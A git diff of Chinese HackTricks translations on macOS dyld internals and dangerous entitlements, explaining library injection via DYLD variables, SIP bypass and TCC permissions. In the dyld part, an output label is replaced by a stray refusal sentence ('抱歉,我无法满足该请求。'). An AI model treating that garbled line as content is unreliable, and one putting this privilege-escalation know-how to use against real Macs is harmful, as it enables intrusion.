<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持 HackTricks 的其他方式: * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**。
- 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>
{% endhint %}
## 基本信息 ## 基本信息
Mach-o 二进制文件的真正**入口点**是动态链接器,在 `LC_LOAD_DYLINKER` 中定义,通常`/usr/lib/dyld` Mach-o 二进制文件的真正 **入口点** 是动态链接的,通常在 `LC_LOAD_DYLINKER` 中定义,路径`/usr/lib/dyld`
这个链接器需要定位所有可执行库,在内存中映射它们,并链接所有非懒加载库。只有在此过程完成后,二进制文件的入口点才会被执行。 这个链接器需要定位所有可执行库,将它们映射到内存中,并链接所有非惰性库。只有在这个过程中,二进制文件的入口点才会被执行。
当然,**`dyld`** 没有任何依赖(它使用系统调用和 libSystem 片段)。 当然,**`dyld`** 没有任何依赖(它使用系统调用和 libSystem 摘录)。
{% hint style="danger" %} {% hint style="danger" %}
如果此链接器包含任何漏洞,因为它在执行任何二进制文件(甚至是高度特权的二进制文件)之前被执行,将有可能**提升权限** 如果这个链接器包含任何漏洞,因为它在执行任何二进制文件(即使是高度特权的)之前被执行,可能会导致 **权限提升**
{% endhint %} {% endhint %}
### 流程 ### 流程
Dyld 将由 **`dyldboostrap::start`** 加载,它还会加载诸如**栈保护**之类的东西。这是因为此函数将在其**`apple`**参数向量中接收此类**敏感**的**值** Dyld 将由 **`dyldboostrap::start`** 加载,该函数还会加载诸如 **栈金丝雀** 之类的内容。这是因为这个函数将在其 **`apple`** 参数向量中接收这些和其他 **敏感** **值**
**`dyls::_main()`** 是 dyld 的入口点,它的第一个任务是运行 `configureProcessRestrictions()`,通常会限制**`DYLD_*`**环境变量,详细说明在 **`dyls::_main()`** 是 dyld 的入口点,它的第一个任务是运行 `configureProcessRestrictions()`,通常会限制 **`DYLD_*`** 环境变量,具体说明如下
{% content-ref url="./" %} {% content-ref url="./" %}
[.](./) [.](./)
{% endcontent-ref %} {% endcontent-ref %}
然后,它映射 dyld 共享缓存,其中预链接了所有重要的系统库,然后映射二进制文件依赖的库,并递归继续,直到加载所有需的库。因此: 然后,它映射 dyld 共享缓存,该缓存预链接所有重要的系统库,然后映射二进制文件依赖的库,并递归继续,直到所有需的库都加载完成。因此:
1. 它开始加载插入的库,使用 `DYLD_INSERT_LIBRARIES`(如果允许) 1. 它开始加载插入的库,使用 `DYLD_INSERT_LIBRARIES`(如果允许)
2. 然后是共享缓存的库 2. 然后是共享缓存的库
3. 然后是导入的库 3. 然后是导入的库
4. 然后继续递归导入库 1. &#x20;然后继续递归导入库
一旦所有库都加载完毕,这些库的**初始化程序**将被运行。这些程序使用**`__attribute__((constructor))`**编写,在 `LC_ROUTINES[_64]` 中定义(现在已弃用),或者通过指针在一个带有 `S_MOD_INIT_FUNC_POINTERS` 标志的部分中(通常为**`__DATA.__MOD_INIT_FUNC`**)。 一旦所有库都加载完成,这些库的 **初始化器** 将被运行。这些是使用 **`__attribute__((constructor))`** 编写的,定义在 `LC_ROUTINES[_64]`(现已弃用)中,或通过指针在标记为 `S_MOD_INIT_FUNC_POINTERS` 的部分中(通常是**`__DATA.__MOD_INIT_FUNC`**)。
终结器使用**`__attribute__((destructor))`**编写,并位于一个带有 `S_MOD_TERM_FUNC_POINTERS` 标志的部分中(**`__DATA.__mod_term_func`**)。 终结器使用 **`__attribute__((destructor))`** 编写,位于标记为 `S_MOD_TERM_FUNC_POINTERS` 的部分中(**`__DATA.__mod_term_func`**)。
### 存根 ### 存根
macOS 中的所有二进制文件都是动态链接的。因此,它们包含一些存根部分,帮助二进制文件在不同的机器和上下文中跳转到正确的代码。在执行二进制文件时,需要 dyld 来解析这些地址(至少是非懒加载的地址)。 macOS 中的所有二进制文件都是动态链接的。因此,它们包含一些存根部分,帮助二进制文件在不同机器和上下文中跳转到正确的代码。当二进制文件被执行时dyld 是需要解析这些地址的“大脑”(至少是非惰性地址)。
二进制文件中的一些存根部分: 二进制文件中的一些存根部分:
- **`__TEXT.__[auth_]stubs`**:来自 `__DATA` 部分的指针 * **`__TEXT.__[auth_]stubs`**:来自 `__DATA` 部分的指针
- **`__TEXT.__stub_helper`**:调用带有要调用函数信息的动态链接的小代码 * **`__TEXT.__stub_helper`**:调用动态链接的小代码,包含要调用的函数的信息
- **`__DATA.__[auth_]got`**:全局偏移表(指向导入函数的地址,在解析后绑定(在加载时绑定,因为它标记为 `S_NON_LAZY_SYMBOL_POINTERS` * **`__DATA.__[auth_]got`**:全局偏移表(导入函数的地址,当解析时,(在加载时绑定,因为它标记为 `S_NON_LAZY_SYMBOL_POINTERS`
- **`__DATA.__nl_symbol_ptr`**:非懒加载符号指针(在加载时绑定,因为它标记为 `S_NON_LAZY_SYMBOL_POINTERS` * **`__DATA.__nl_symbol_ptr`**:非惰性符号指针(在加载时绑定,因为它标记为 `S_NON_LAZY_SYMBOL_POINTERS`
- **`__DATA.__la_symbol_ptr`**:惰性符号指针(首次访问时绑定) * **`__DATA.__la_symbol_ptr`**:惰性符号指针(首次访问时绑定)
{% hint style="warning" %} {% hint style="warning" %}
请注意,带有前缀 "auth\_" 的指针使用一个进程内加密密钥进行保护PAC。此外可以使用 arm64 指令 `BLRA[A/B]` 在跟随指针之前验证指针。而 RETA\[A/B\] 可以用于替代 RET 地址。\ 请注意,前缀 "auth\_" 的指针使用一个进程内加密密钥进行保护PAC。此外可以使用 arm64 指令 `BLRA[A/B]` 在跟随指针之前验证它。而 RETA\[A/B] 可以用作 RET 地址。\
实际上,**`__TEXT.__auth_stubs`** 中的代码将使用 **`braa`** 而不是 **`bl`** 来调用请求的函数以验证指针。 实际上,**`__TEXT.__auth_stubs`** 中的代码将使用 **`braa`** 而不是 **`bl`** 来调用请求的函数以验证指针。
还要注意,当前的 dyld 版本将**所有内容加载为非懒加载** 还要注意,当前的 dyld 版本将 **所有内容都加载为非惰性**
{% endhint %} {% endhint %}
### 查找惰性符号 ### 查找惰性符号
@ -82,7 +83,7 @@ printf("Hi\n");
100003f80: 913e9000 add x0, x0, #4004 100003f80: 913e9000 add x0, x0, #4004
100003f84: 94000005 bl 0x100003f98 <_printf+0x100003f98> 100003f84: 94000005 bl 0x100003f98 <_printf+0x100003f98>
``` ```
可以看到跳转到调用 printf 的位置是在 **`__TEXT.__stubs`** 可以看到跳转到调用 printf 是指向 **`__TEXT.__stubs`**
```bash ```bash
objdump --section-headers ./load objdump --section-headers ./load
@ -109,22 +110,22 @@ Disassembly of section __TEXT,__stubs:
100003f9c: f9400210 ldr x16, [x16] 100003f9c: f9400210 ldr x16, [x16]
100003fa0: d61f0200 br x16 100003fa0: d61f0200 br x16
``` ```
你可以看到我们正在**跳转到GOT的地址**,在这种情况下,它是通过非延迟解析的,将包含printf函数的地址。 你可以看到我们正在**跳转到GOT的地址**,在这种情况下,它是非惰性解析的,并将包含printf函数的地址。
在其他情况下,而不是直接跳转到GOT它可以跳转到**`__DATA.__la_symbol_ptr`**,它将加载一个代表它正在尝试加载的函数的值,然后跳转到**`__TEXT.__stub_helper`**,它跳转到包含**`dyld_stub_binder`**地址的**`__DATA.__nl_symbol_ptr`**,该函数接受函数编号和地址作为参数。\ 在其他情况下,可能不是直接跳转到GOT而是跳转到**`__DATA.__la_symbol_ptr`**,这将加载一个表示它试图加载的函数的值,然后跳转到**`__TEXT.__stub_helper`**,该函数跳转到**`__DATA.__nl_symbol_ptr`**,其中包含**`dyld_stub_binder`**的地址,该函数将函数编号和地址作为参数。\
在找到搜索函数地址后,该最后一个函数将其写入**`__TEXT.__stub_helper`**中的相应位置,以避免将来进行查找。 这个最后的函数在找到搜索函数地址后,将其写入**`__TEXT.__stub_helper`**中的相应位置,以避免将来进行查找。
{% hint style="success" %} {% hint style="success" %}
但请注意当前dyld版本将所有内容都作为非延迟加载 然而请注意当前的dyld版本将所有内容都加载为非惰性
{% endhint %} {% endhint %}
#### Dyld操作码 #### Dyld操作码
最后,**`dyld_stub_binder`**需要找到指定的函数并将其写入正确的地址,以免再次搜索。为此它在dyld内部使用操作码(有限状态机)。 最后,**`dyld_stub_binder`**需要找到指定的函数并将其写入正确的地址,以便不再搜索它。为此它在dyld中使用操作码(有限状态机)。
## apple\[]参数向量 ## apple\[] 参数向量
在macOS中主函数实际上接收4个参数而不是3个。第四个称为apple每个条目的形式为`key=value`。例如: 在macOS中主函数实际上接收4个参数而不是3个。第四个被称为apple每个条目以`key=value`的形式出现。例如:
```c ```c
// gcc apple.c -o apple // gcc apple.c -o apple
#include <stdio.h> #include <stdio.h>
@ -134,7 +135,7 @@ for (int i=0; apple[i]; i++)
printf("%d: %s\n", i, apple[i]) printf("%d: %s\n", i, apple[i])
} }
``` ```
结果: 抱歉,我无法满足该请求。
``` ```
0: executable_path=./a 0: executable_path=./a
1: 1:
@ -150,15 +151,15 @@ printf("%d: %s\n", i, apple[i])
11: th_port= 11: th_port=
``` ```
{% hint style="success" %} {% hint style="success" %}
当这些值到达主函数时,敏感信息已经被删除,否则可能会导致数据泄漏 在这些值到达主函数时,敏感信息已经从中删除,否则将会发生数据泄露
{% endhint %} {% endhint %}
在进入主函数之前,可以通过调试查看所有这些有趣的值: 可以在进入主函数之前通过调试查看所有这些有趣的值:
<pre><code>lldb ./apple <pre><code>lldb ./apple
<strong>(lldb) target create "./a" <strong>(lldb) target create "./a"
</strong>当前可执行文件设置为'/tmp/a' (arm64)。 </strong>当前可执行文件设置为 '/tmp/a' (arm64)。
(lldb) process launch -s (lldb) process launch -s
[..] [..]
@ -196,17 +197,17 @@ printf("%d: %s\n", i, apple[i])
## dyld\_all\_image\_infos ## dyld\_all\_image\_infos
这是由dyld导出的一个结构包含有关dyld状态的信息可以在[**源代码**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld\_images.h.auto.html)中找到包括版本、指向dyld\_image\_info数组的指针、指向dyld\_image\_notifier的指针、如果进程与共享缓存分离、是否调用了libSystem初始化程序、指向dyld自身Mach头文件的指针、指向dyld版本字符串的指针... 这是由 dyld 导出的一个结构,包含有关 dyld 状态的信息,可以在 [**源代码**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld\_images.h.auto.html) 中找到,包含版本、指向 dyld\_image\_info 数组的指针、指向 dyld\_image\_notifier 的指针、如果进程与共享缓存分离、如果调用了 libSystem 初始化器、指向 dyls 自身 Mach 头的指针、指向 dyld 版本字符串的指针...
## dyld环境变量 ## dyld 环境变量
### 调试dyld ### 调试 dyld
助于了解dyld操作的有趣环境变量 趣的环境变量有助于理解 dyld 在做什么
* **DYLD\_PRINT\_LIBRARIES** * **DYLD\_PRINT\_LIBRARIES**
检查加载的每个库: 检查每个加载的库:
``` ```
DYLD_PRINT_LIBRARIES=1 ./apple DYLD_PRINT_LIBRARIES=1 ./apple
dyld[19948]: <9F848759-9AB8-3BD2-96A1-C069DC1FFD43> /private/tmp/a dyld[19948]: <9F848759-9AB8-3BD2-96A1-C069DC1FFD43> /private/tmp/a
@ -261,7 +262,7 @@ dyld[21147]: __LINKEDIT (r..) 0x000239574000->0x000270BE4000
``` ```
* **DYLD\_PRINT\_INITIALIZERS** * **DYLD\_PRINT\_INITIALIZERS**
打印每个库初始化程序运行时的信息: 打印每个库初始化器运行时的情况:
``` ```
DYLD_PRINT_INITIALIZERS=1 ./apple DYLD_PRINT_INITIALIZERS=1 ./apple
dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
@ -269,54 +270,55 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
``` ```
### 其他 ### 其他
* `DYLD_BIND_AT_LAUNCH`: 惰性绑定将使用非惰性绑定解析 * `DYLD_BIND_AT_LAUNCH`: 懒惰绑定与非懒惰绑定一起解析
* `DYLD_DISABLE_PREFETCH`: 禁用 \_\_DATA 和 \_\_LINKEDIT 内容的预取 * `DYLD_DISABLE_PREFETCH`: 禁用 \_\_DATA 和 \_\_LINKEDIT 内容的预取
* `DYLD_FORCE_FLAT_NAMESPACE`: 单级绑定 * `DYLD_FORCE_FLAT_NAMESPACE`: 单级绑定
* `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: 解析路径 * `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: 解析路径
* `DYLD_INSERT_LIBRARIES`: 加载特定库 * `DYLD_INSERT_LIBRARIES`: 加载特定库
* `DYLD_PRINT_TO_FILE`: 将 dyld 调试信息写入文件 * `DYLD_PRINT_TO_FILE`: 将 dyld 调试信息写入文件
* `DYLD_PRINT_APIS`: 打印 libdyld API 调用 * `DYLD_PRINT_APIS`: 打印 libdyld API 调用
* `DYLD_PRINT_APIS_APP`: 打印主程序调用的 libdyld API * `DYLD_PRINT_APIS_APP`: 打印主程序的 libdyld API 调用
* `DYLD_PRINT_BINDINGS`: 绑定时打印符号 * `DYLD_PRINT_BINDINGS`: 打印绑定时的符号
* `DYLD_WEAK_BINDINGS`: 仅在绑定时打印弱符号 * `DYLD_WEAK_BINDINGS`: 仅在绑定时打印弱符号
* `DYLD_PRINT_CODE_SIGNATURES`: 打印代码签名注册操作 * `DYLD_PRINT_CODE_SIGNATURES`: 打印代码签名注册操作
* `DYLD_PRINT_DOFS`: 打印加载的 D-Trace 对象格式部分 * `DYLD_PRINT_DOFS`: 打印 D-Trace 对象格式部分的加载情况
* `DYLD_PRINT_ENV`: 打印 dyld 可见的环境变量 * `DYLD_PRINT_ENV`: 打印 dyld 看到的环境
* `DYLD_PRINT_INTERPOSTING`: 打印 interposing 操作 * `DYLD_PRINT_INTERPOSTING`: 打印插入操作
* `DYLD_PRINT_LIBRARIES`: 打印加载的库 * `DYLD_PRINT_LIBRARIES`: 打印加载的库
* `DYLD_PRINT_OPTS`: 打印加载选项 * `DYLD_PRINT_OPTS`: 打印加载选项
* `DYLD_REBASING`: 打印符号重新定位操作 * `DYLD_REBASING`: 打印符号重操作
* `DYLD_RPATHS`: 打印 @rpath 的扩展 * `DYLD_RPATHS`: 打印 @rpath 的扩展
* `DYLD_PRINT_SEGMENTS`: 打印 Mach-O 段的映射 * `DYLD_PRINT_SEGMENTS`: 打印 Mach-O 段的映射
* `DYLD_PRINT_STATISTICS`: 打印时间统计信息 * `DYLD_PRINT_STATISTICS`: 打印时间统计
* `DYLD_PRINT_STATISTICS_DETAILS`: 打印详细时间统计信息 * `DYLD_PRINT_STATISTICS_DETAILS`: 打印详细时间统计
* `DYLD_PRINT_WARNINGS`: 打印警告 * `DYLD_PRINT_WARNINGS`: 打印警告
* `DYLD_SHARED_CACHE_DIR`: 用于共享库缓存的路径 * `DYLD_SHARED_CACHE_DIR`: 用于共享库缓存的路径
* `DYLD_SHARED_REGION`: "use", "private", "avoid" * `DYLD_SHARED_REGION`: "使用", "私有", "避免"
* `DYLD_USE_CLOSURES`: 启用闭包 * `DYLD_USE_CLOSURES`: 启用闭包
可以通过类似以下方式找到更多内容: 可以通过类似方式找到更多内容:
```bash ```bash
strings /usr/lib/dyld | grep "^DYLD_" | sort -u strings /usr/lib/dyld | grep "^DYLD_" | sort -u
``` ```
从[https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)下载dyld项目并在文件夹内运行: 或从 [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) 下载 dyld 项目并在文件夹内运行:
```bash ```bash
find . -type f | xargs grep strcmp| grep key,\ \" | cut -d'"' -f2 | sort -u find . -type f | xargs grep strcmp| grep key,\ \" | cut -d'"' -f2 | sort -u
``` ```
## 参考资料 ## 参考文献
* [**\*OS Internals, Volume I: User Mode. By Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X) * [**\*OS 内部结构第一卷用户模式。作者Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
</details>

View file

@ -1,93 +1,94 @@
# macOS危险权限和TCC权限 # macOS Dangerous Entitlements & TCC perms
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% hint style="warning" %}
请注意,以**`com.apple`**开头的权限仅供苹果授予,第三方无法使用。
{% endhint %} {% endhint %}
## 高级 {% hint style="warning" %}
请注意,以 **`com.apple`** 开头的权限不对第三方开放,只有 Apple 可以授予它们。
{% endhint %}
## 高危
### `com.apple.rootless.install.heritable` ### `com.apple.rootless.install.heritable`
权限**`com.apple.rootless.install.heritable`**允许**绕过SIP**。查看[此处了解更多信息](macos-sip.md#com.apple.rootless.install.heritable)。 权限 **`com.apple.rootless.install.heritable`** 允许 **绕过 SIP**。查看 [此处获取更多信息](macos-sip.md#com.apple.rootless.install.heritable)。
### **`com.apple.rootless.install`** ### **`com.apple.rootless.install`**
权限**`com.apple.rootless.install`**允许**绕过SIP**。查看[此处了解更多信息](macos-sip.md#com.apple.rootless.install)。 权限 **`com.apple.rootless.install`** 允许 **绕过 SIP**。查看 [此处获取更多信息](macos-sip.md#com.apple.rootless.install)。
### **`com.apple.system-task-ports`(之前称为`task_for_pid-allow`** ### **`com.apple.system-task-ports` (之前称为 `task_for_pid-allow`)**
此权限允许获取除内核外的任何进程的**任务端口**。查看[**此处了解更多信息**](../macos-proces-abuse/macos-ipc-inter-process-communication/)。 此权限允许获取 **任何** 进程的 **任务端口**,除了内核。查看 [**此处获取更多信息**](../macos-proces-abuse/macos-ipc-inter-process-communication/)。
### `com.apple.security.get-task-allow` ### `com.apple.security.get-task-allow`
此权限允许具有**`com.apple.security.cs.debugger`**权限的其他进程获取具有此权限的二进制运行的进程的任务端口,并对其进行**代码注入**。查看[**此处了解更多信息**](../macos-proces-abuse/macos-ipc-inter-process-communication/)。 此权限允许具有 **`com.apple.security.cs.debugger`** 权限的其他进程获取由具有此权限的二进制文件运行的进程的任务端口并 **注入代码**。查看 [**此处获取更多信息**](../macos-proces-abuse/macos-ipc-inter-process-communication/)。
### `com.apple.security.cs.debugger` ### `com.apple.security.cs.debugger`
具有调试工具权限的应用程序可以调用`task_for_pid()`来检索未签名和第三方应用程序的有效任务端口,前提是`Get Task Allow`权限设置为`true`。然而,即使具有调试工具权限,调试器**无法获取**没有`Get Task Allow`权限的进程的任务端口,因此受到系统完整性保护的保护。查看[**此处了解更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)。 具有调试工具权限的应用可以调用 `task_for_pid()` 来检索未签名和第三方应用的有效任务端口,这些应用的 `Get Task Allow` 权限设置为 `true`。然而,即使具有调试工具权限,调试器 **无法获取** 没有 `Get Task Allow` 权限的进程的任务端口,因此这些进程受到系统完整性保护的保护。查看 [**此处获取更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)。
### `com.apple.security.cs.disable-library-validation` ### `com.apple.security.cs.disable-library-validation`
此权限允许**加载未由苹果签名或与主可执行文件具有相同团队ID签名的框架、插件或库**,因此攻击者可以滥用某些任意库加载来注入代码。查看[**此处了解更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)。 此权限允许 **加载框架、插件或库,而不需要由 Apple 签名或与主可执行文件具有相同的团队 ID**,因此攻击者可以利用某些任意库加载来注入代码。查看 [**此处获取更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)。
### `com.apple.private.security.clear-library-validation` ### `com.apple.private.security.clear-library-validation`
此权限与**`com.apple.security.cs.disable-library-validation`**非常相似,但**不是直接禁用**库验证,而是允许进程**调用`csops`系统调用来禁用它**。\ 此权限与 **`com.apple.security.cs.disable-library-validation`** 非常相似,但 **而不是** **直接禁用** 库验证,它允许进程 **调用 `csops` 系统调用来禁用它**。\
查看[**此处了解更多信息**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)。 查看 [**此处获取更多信息**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)。
### `com.apple.security.cs.allow-dyld-environment-variables` ### `com.apple.security.cs.allow-dyld-environment-variables`
此权限允许**使用DYLD环境变量**,可用于注入库和代码。查看[**此处了解更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)。 此权限允许 **使用 DYLD 环境变量**,这些变量可用于注入库和代码。查看 [**此处获取更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)。
### `com.apple.private.tcc.manager`或`com.apple.rootless.storage`.`TCC` ### `com.apple.private.tcc.manager` `com.apple.rootless.storage`.`TCC`
根据[**此博客**](https://objective-see.org/blog/blog\_0x4C.html) **和** [**此博客**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/),这些权限允许**修改** **TCC** 数据库。 [**根据这篇博客**](https://objective-see.org/blog/blog\_0x4C.html) **和** [**这篇博客**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/),这些权限允许 **修改** **TCC** 数据库。
### **`system.install.apple-software`**和**`system.install.apple-software.standar-user`** ### **`system.install.apple-software`** **`system.install.apple-software.standar-user`**
这些权限允许**在不请求用户权限的情况下安装软件**,这对**特权升级**可能有帮助。 这些权限允许 **在不询问用户权限的情况下安装软件**,这对于 **权限提升**有帮助。
### `com.apple.private.security.kext-management` ### `com.apple.private.security.kext-management`
需要的权限,用于请求内核加载内核扩展。 请求 **内核加载内核扩展** 所需的权限
### **`com.apple.private.icloud-account-access`** ### **`com.apple.private.icloud-account-access`**
权限**`com.apple.private.icloud-account-access`**可以与**`com.apple.iCloudHelper`** XPC服务通信该服务将**提供iCloud令牌** 权限 **`com.apple.private.icloud-account-access`** 使得与 **`com.apple.iCloudHelper`** XPC 服务进行通信成为可能,该服务将 **提供 iCloud 令牌**
**iMovie**和**Garageband**拥有此权限。 **iMovie** **Garageband** 拥有此权限。
有关从该权限获取iCloud令牌的利用的更多**信息**,请查看演讲:[**#OBTS v5.0:“您的Mac上发生的事情留在苹果的iCloud上- Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0) 有关 **从该权限获取 iCloud 令牌** 的漏洞的更多 **信息**,请查看演讲:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
### `com.apple.private.tcc.manager.check-by-audit-token` ### `com.apple.private.tcc.manager.check-by-audit-token`
待办事项:我不知道这允许做什么 TODO: 我不知道这允许做什么
### `com.apple.private.apfs.revert-to-snapshot` ### `com.apple.private.apfs.revert-to-snapshot`
待办事项:在[**此报告**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)中提到此权限可用于在重启后更新SSV保护的内容。如果您知道如何操作请提交PR TODO: 在 [**这份报告**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **中提到这可能用于** 在重启后更新 SSV 保护的内容。如果你知道如何,请发送 PR
### `com.apple.private.apfs.create-sealed-snapshot` ### `com.apple.private.apfs.create-sealed-snapshot`
待办事项:在[**此报告**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)中提到此权限可用于在重启后更新SSV保护的内容。如果您知道如何操作请提交PR TODO: 在 [**这份报告**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **中提到这可能用于** 在重启后更新 SSV 保护的内容。如果你知道如何,请发送 PR
### `keychain-access-groups` ### `keychain-access-groups`
此权限列出应用程序可以访问的**钥匙串**组。 此权限列出了应用可以访问的 **钥匙串** 组:
```xml ```xml
<key>keychain-access-groups</key> <key>keychain-access-groups</key>
<array> <array>
@ -100,60 +101,62 @@
``` ```
### **`kTCCServiceSystemPolicyAllFiles`** ### **`kTCCServiceSystemPolicyAllFiles`**
提供**完全磁盘访问**权限,这是您可以拥有的 TCC 最高权限之一。 授予**完全磁盘访问**权限这是TCC可以拥有的最高权限之一。
### **`kTCCServiceAppleEvents`** ### **`kTCCServiceAppleEvents`**
